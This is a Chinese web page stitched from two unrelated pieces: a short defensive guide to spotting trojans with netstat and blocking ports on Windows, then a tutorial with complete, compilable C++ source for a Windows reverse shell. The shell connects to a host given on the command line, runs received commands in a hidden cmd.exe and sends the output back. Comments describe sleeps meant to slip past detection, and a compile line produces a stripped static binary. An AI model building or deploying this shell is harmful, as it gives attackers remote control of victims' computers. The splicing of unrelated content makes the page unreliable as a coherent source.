段時間有用戶看了《如何遷移系統至SSD》這篇文章,私信問到PE工具從硬盤拷數據是否會被操作系統記錄。在此老毛桃也和大家說說,操作系統沒有被運行是不會對系統進行監控的。
對于電腦數據的安全,相信很多朋友都曾有過擔憂,尤其是比較重要的“機密”。電腦中木馬病毒了?又或是電腦系統后臺被秘密操控了?這一系列的“恐怖襲擊”都會讓電腦用戶聞風喪膽。那么,日常操作電腦的過程中,我們有什么辦法檢測是否存在這些威脅嗎?
答案:妥妥滴,必須有!
該怎么操作呢?那就是利用windows自帶強大的入侵檢測工具,查詢可疑連接,接著打開任務管理器,找到對應的PID數值,右鍵點擊“結束進程”。此時病毒還沒有完全抵御入侵,想要更徹底點我們就需要進入組策略新建規則了。
注意:有的電腦任務管理器中是看不到PID數值的,該如何設置呢?同時按下“Ctrl+Shift+Esc”打開任務管理器,有點點擊顯示欄,在菜單中勾選“PID”即可。
如何新建規則?
第一步:同時按下“win+r”打開運行窗口,在框內輸入命令“gpedit.msc”,回車
第二步:打開本地組策略編輯器后,依次展開“計算機配置—windows配置—安全設置—IP安全策略,在 本地計算機”
第三步:右鍵點擊選擇“創建IP安全策略”,接下來根據協議新建IP安全策略-新建端口封堵入侵端口,即可徹底讓電腦保持安全。
重點來了!我們如何利用windows自帶的入侵檢測工具(netstat命令)查詢是否中木馬呢?打開管理員命令提示符窗口,輸入命令即可查詢!
netstat命令詳解:
1、 netstat -a
使用這個命令可顯示所有連接和偵聽端口,可以查看計算機的系統服務是否正常,判斷系統是否被種上木馬。假若發現了不正常的端口和服務,我們需要即使關閉端口或服務。另外,它還可以作為一種實時入侵檢測工具,判斷是否有外部計算機連接本地計算機。
2、 netstat -n
-n參數可以顯示本機和本機相連的外部主機的IP地址,而不像-a參數顯示的只是計算機的NetBios名。
3、 netstat -r
netstat -r可以顯示路由表的內容,類似route print(能讓雙網卡同時工作的非常實用的命令)。
4、 netstat -o
netstat -o可以顯示本地與外部主機相連的PID數值,taskkill需要通過這個數值才能中斷連接。
滲透不會反彈shell?來教你寫一個cmd的shell
包含的庫:
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <iostream>
#include <string>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
winsock2和ws2tcpip兩個庫文件是用來初始化網絡套接字的。windows用來初始化一些windows下的函數,string方便我們后面的一些字符串轉換,iostream則是標準的c++頭文件,#pragma comment(lib,“Ws2_32.lib”)用來指定編譯器使用靜態編譯該庫文件,防止其他環境下無法正常運行我們的文件。1024為給socket的recv和send函數定義緩沖區長度。
我們定義一個函數和一個主函數,反向shell的函數RunShell,兩個參數,一個是我們的host一個是ip。
int RunShell(char *host, int port){
}
int main(int argc, char** argv) {
}
其中的argc為調用的參數的個數,argv為具體的值。這里稍微要注意一下,在接受參數的時候,默認的第一個參數是文件的路徑名,所以,我們在接下來的傳參的過程中,需要將argv[1]、argv[2]傳遞給我們的RunShell。
下面我們來編寫我們的RunShell函數,為了避免中間有斷開之類的情況,我們使用一個while循環進行一直監聽,然后監聽之前進行一些休眠,可以繞過部分檢測,代碼如下:
while (true)
{
Sleep(5000);//進行休眠,可過一些檢測
SOCKET ShellSock;
sockaddr_in C2addr;//定義sock初始化需要的變量
WSADATA Sockver = { 0 };//定義并初始化一個LPWSADATA的指針
WSAStartup(MAKEWORD(2, 2), &Sockver);//初始化socket
ShellSock = socket(
AF_INET, //地址描述
SOCK_STREAM, //套接字類型
IPPROTO_TCP //協議類型
);
C2addr.sin_family = AF_INET;
C2addr.sin_addr.S_un.S_addr = inet_addr(host);//轉化Ip地址
C2addr.sin_port = htons(port);//轉換端口
if (WSAConnect(ShellSock, (SOCKADDR*)&C2addr, sizeof(C2addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
closesocket(ShellSock);
WSACleanup();//關閉套接字
continue;
} //連接目標
}
基本上都已經給出來了注釋,都是windows的api,具體的作用就是用來聲明一個socket套接字,然后跟目標進行連接,如果失敗,則跳出本次循環,繼續發出請求。具體的用法,可以查看微軟官方的文檔:
https://docs.microsoft.com/zh-cn/windows/win32/api/winsock2/nf-winsock2-wsaconnect
我們繼續,接下來我們來編寫我們的接收函數,并進行處理。
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));//將RecvData清0
int RecvCode = recv(ShellSock, RecvData, DEFAULT_BUFLEN, 0);//接收數據
if (RecvCode<=0) {
closesocket(ShellSock);
WSACleanup();
continue;
}
然后我們定義一個數組來存放我們接收的數據,并使用memset將其清0,保證數據的準確性,因為recv如果錯誤的返回值是0或者負數,所以我們進行一個簡單的判斷,小于等于0時做跟前面相同的操作。
具體函數的用法參考:
https://docs.microsoft.com/zh-cn/windows/win32/api/winsock/nf-winsock-recv
假如此時我們已經跟主機建立了連接,也成功接受到了數據,我們就應該將我們接收到的數據進行執行,并但返回給我們的主機。
主要思路就是調用CreateProcessA函數函數,去處理我們接收的值,然后啟動一個cmd進程處理并返回。
我們先來看一下CreateProcessA的用法:
BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
其他的都好說,主要是后兩個參數,STARTUPINFOA 和PROCESS_INFORMATION的指針,他們的定義為:
typedef struct _PROCESS_INFORMATION {
HANDLE hProcess;
HANDLE hThread;
DWORD dwProcessId;
DWORD dwThreadId;
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
typedef struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;
既然需要我們就定義這樣的兩個指針,然后再來調用我們的函數。
pApplicationName 指向一個NULL結尾的、用來指定可執行模塊的字符串。這個參數可以被設為NULL,在這種情況下,可執行模塊的名字必須處于 lpCommandLine 參數最前面并由空格符與后面的字符分開。
lpCommandLine 指向一個以NULL結尾的字符串,該字符串指定要執行的命令行。這個參數可以為空,那么函數將使用lpApplicationName參數指定的字符串當做要運行的程序的命令行。如果lpApplicationName和lpCommandLine參數都不為空,那么lpApplicationName參數指定將要被運行的模塊,lpCommandLine參數指定將被運行的模塊的命令行。新運行的進程可以使用GetCommandLine函數獲得整個命令行。C語言程序可以使用argc和argv參數。
lpProcessAttributes 指向一個SECURITY_ATTRIBUTES結構體,這個結構體決定是否返回的句柄可以被子進程繼承。
lpThreadAttributes 同lpProcessAttribute,不過這個參數決定的是線程是否被繼承,通常置為NULL。
bInheritHandles 指示新進程是否從調用進程處繼承了句柄。如果參數的值為真,調用進程中的每一個可繼承的打開句柄都將被子進程繼承。被繼承的句柄與原進程擁有完全相同的值和訪問權限。
dwCreationFlags 指定附加的、用來控制優先類和進程的創建的標志。
lpEnvironment 指向一個新進程的環境塊。如果此參數為空,新進程使用調用進程的環境。 一個環境塊存在于一個由以NULL結尾的字符串組成的塊中,這個塊也是以NULL結尾的。
lpCurrentDirectory 指向一個以NULL結尾的字符串,這個字符串用來指定子進程的工作路徑。這個字符串必須是一個包含驅動器名的絕對路徑。如果這個參數為空,新進程將使用與調用進程相同的驅動器和目錄。這個選項是一個需要啟動應用程序并指定它們的驅動器和工作目錄的外殼程序的主要條件。
lpStartupInfo 指向一個用于決定新進程的主窗體如何顯示的STARTUPINFO結構體。
lpProcessInformation 指向一個用來接收新進程的識別信息的PROCESS_INFORMATION結構體。
cb表示包含STARTUPINFO結構中的字節數,應用程序必須將cb初始化為sizeof(STARTUPINFO)。
dwFlags表示結構體啟用哪些成員,其中STARTFUSESHOWWINDOW表示使用結構體成員wShowWindow;STARTFUSESTDHANDLES表示使用結構體成員hStdInput、hStdOutput 和 hStdError。
wShowWindow用于窗口顯示方式,SW_HIDE表示隱藏窗口。
hStdOutput 和 hStdError用于標識控制臺窗口的緩存。
除了這些之外,我們還需要一個管道來獲取命令執行后的值。
BOOL WINAPI CreatePipe(
_Out_PHANDLE hReadPipe,
_Out_PHANDLE hWritePipe,
_In_opt_LPSECURITY_ATTRIBUTES lpPipeAttributes,
_In_DWORD nSize
);
HANDLE hReadPipe = NULL;
HANDLE hWritePipe = NULL;
SECURITY_ATTRIBUTES securityAttributes = { 0 };
BOOL bRet = FALSE;
STARTUPINFO si = { 0 };
char command[] = "cmd.exe /c ";
PROCESS_INFORMATION pi = { 0 };
char pszResultBuffer[DEFAULT_BUFLEN];
// 設定管道的安全屬性
securityAttributes.bInheritHandle = TRUE;
securityAttributes.nLength = sizeof(securityAttributes);
securityAttributes.lpSecurityDescriptor = NULL;
// 創建匿名管道
bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);
// 設置新進程參數
si.cb = sizeof(si);
si.hStdError = hWritePipe;
si.hStdOutput = hWritePipe;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
// 創建新進程執行命令, 將執行結果寫入匿名管道中
strcat(command, RecvData);
bRet = ::CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
// 等待命令執行結束
::WaitForSingleObject(pi.hThread, INFINITE);
::WaitForSingleObject(pi.hProcess, INFINITE);
// 從匿名管道中讀取結果到輸出緩沖區
memset(pszResultBuffer, 0, sizeof(pszResultBuffer));
::ReadFile(hReadPipe, pszResultBuffer, DEFAULT_BUFLEN, NULL, NULL);
// 關閉句柄, 釋放內存
::CloseHandle(pi.hThread);
::CloseHandle(pi.hProcess);
::CloseHandle(hWritePipe);
::CloseHandle(hReadPipe);
send(ShellSock, pszResultBuffer, DEFAULT_BUFLEN, 0);
大體的流程就是初始化匿名管道的安全屬性結構體SECURITY_ATTRIBUTES調用函數 CreatePipe 創建匿名管道,獲取管道數據讀取句柄和管道數據寫入句柄對即將創建的進程結構體STARTUPINFO進行初始化,設置進程窗口隱藏,并把上面管道數據寫入句柄賦值給新進程控制臺窗口的緩存句柄,這樣,新進程會把窗口緩存的輸出數據寫入到匿名管道中開始調用 CreateProcess 函數創建新進程,執行 CMD 命令,并調用函數 WaitForSingleObject 等待命令執行完畢,命令執行完畢后,便調用 ReadFile 函數根據匿名管道的數據讀取句柄從匿名管道的緩沖區中讀取緩沖區的數據,這個數據就是新進程執行命令返回的結果數據,然后將得到的數據發送給我們的服務端。
詳細的函數說明如下:
https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information
最后的代碼如下:
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <iostream>
#include <string>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
using namespace std;
int RunShell(char *host, int port)
{
while (true)
{
Sleep(5000);
SOCKET ShellSock;
sockaddr_in C2addr;
WSADATA Sockver = { 0 };
WSAStartup(MAKEWORD(2, 2), &Sockver);
ShellSock = socket(
AF_INET,
SOCK_STREAM,
IPPROTO_TCP
);
C2addr.sin_family = AF_INET;
C2addr.sin_addr.S_un.S_addr = inet_addr(host);
C2addr.sin_port = htons(port);
if (WSAConnect(ShellSock, (SOCKADDR*)&C2addr, sizeof(C2addr), NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
closesocket(ShellSock);
WSACleanup();
continue;
}
else
{
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(ShellSock, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode<=0) {
closesocket(ShellSock);
WSACleanup();
continue;
}
else
{
HANDLE hReadPipe = NULL;
HANDLE hWritePipe = NULL;
SECURITY_ATTRIBUTES securityAttributes = { 0 };
BOOL bRet = FALSE;
STARTUPINFO si = { 0 };
char command[] = "cmd.exe /c ";
PROCESS_INFORMATION pi = { 0 };
char pszResultBuffer[DEFAULT_BUFLEN];
securityAttributes.bInheritHandle = TRUE;
securityAttributes.nLength = sizeof(securityAttributes);
securityAttributes.lpSecurityDescriptor = NULL;
bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);
si.cb = sizeof(si);
si.hStdError = hWritePipe;
si.hStdOutput = hWritePipe;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
strcat(command, RecvData);
bRet = ::CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
::WaitForSingleObject(pi.hThread, INFINITE);
::WaitForSingleObject(pi.hProcess, INFINITE);
memset(pszResultBuffer, 0, sizeof(pszResultBuffer));
::ReadFile(hReadPipe, pszResultBuffer, DEFAULT_BUFLEN, NULL, NULL);
::CloseHandle(pi.hThread);
::CloseHandle(pi.hProcess);
::CloseHandle(hWritePipe);
::CloseHandle(hReadPipe);
send(ShellSock, pszResultBuffer, DEFAULT_BUFLEN, 0);
}
}
}
}
int main(int argc, char** argv) {
int port = atoi(argv[2]);
RunShell(argv[1],port);
}
使用下面的方式編譯:
i686-w64-mingw32-g++ 2.cpp -o 2.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
執行效果如下:
vt檢測:
參考文章:
https://scriptdotsh.com/index.php/2018/09/04/malware-on-steroids-part-1-simple-cmd-reverse-shell/
https://www.codeleading.com/article/1126284392/
在滲透測試過程中,經常會用到反彈shell,學習本實驗《反彈shell的N種姿勢》,了解反彈shell的概念和原理,掌握各種反彈shell的實現技術和方法。實驗:反彈shell的N種姿勢(合天網安實驗室)開始學習。